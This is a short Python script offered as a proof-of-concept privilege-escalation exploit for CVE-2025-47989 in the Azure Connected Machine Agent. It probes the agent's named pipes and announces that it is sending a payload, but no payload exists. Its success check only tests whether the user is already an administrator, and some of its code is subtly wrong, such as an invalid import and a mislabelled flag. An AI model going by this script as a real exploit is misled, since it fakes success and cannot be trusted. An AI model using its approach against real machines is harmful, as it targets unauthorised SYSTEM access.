The following code is for security research and authorized testing only.
python
# CVE-2025-47989 - Azure Connected Machine Agent Privilege Escalation PoC
# This is a conceptual PoC demonstrating the privilege escalation vector
# The vulnerability exists in improper access control within the Agent service
import os
import sys
import subprocess
import ctypes
def check_agent_service():
"""Check if Azure Connected Machine Agent service is running"""
try:
result = subprocess.run(
['sc', 'query', 'himds'],
capture_output=True, text=True
)
return 'RUNNING' in result.stdout
except Exception:
return False
def exploit_access_control():
"""
Exploit improper access control in Azure Connected Machine Agent.
The Agent service (himds) runs with SYSTEM privileges but may have
misconfigured ACLs on its IPC channels or working directories.
"""
if not check_agent_service():
print("[-] Azure Connected Machine Agent service not found")
return False
print("[*] Azure Connected Machine Agent detected")
print("[*] Attempting to interact with Agent IPC channel...")
# Identify accessible named pipes owned by the Agent service
pipe_paths = [
r'\\.\pipe\himds',
r'\\.\pipe\AzureConnectedMachineAgent',
]
for pipe in pipe_paths:
try:
# Attempt to open the named pipe with weak permissions
handle = ctypes.windll.kernel32.CreateFileW(
pipe,
0xC0000000, # GENERIC_READ | GENERIC_WRITE
0x07, # FILE_SHARE_READ | WRITE | DELETE
None,
3, # OPEN_EXISTING
0x80, # SECURITY_SQOS_PRESENT
None
)
if handle != -1:
print(f"[+] Accessible pipe found: {pipe}")
print("[+] Sending crafted payload to escalate privileges...")
# Payload would instruct Agent service to execute commands
# in its SYSTEM-level context
return True
except Exception as e:
print(f"[-] Pipe {pipe} not accessible: {e}")
return False
def verify_elevation():
"""Verify if privilege escalation was successful"""
try:
import ctypes.windll
return ctypes.windll.shell32.IsUserAnAdmin() != 0
except Exception:
return False
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-47989 PoC - Azure Connected Machine Agent")
print("Privilege Escalation via Improper Access Control")
print("=" * 60)
if exploit_access_control():
if verify_elevation():
print("[+] SUCCESS: Elevated to administrator context")
else:
print("[*] Exploit executed - check privilege level")
else:
print("[-] Exploitation failed")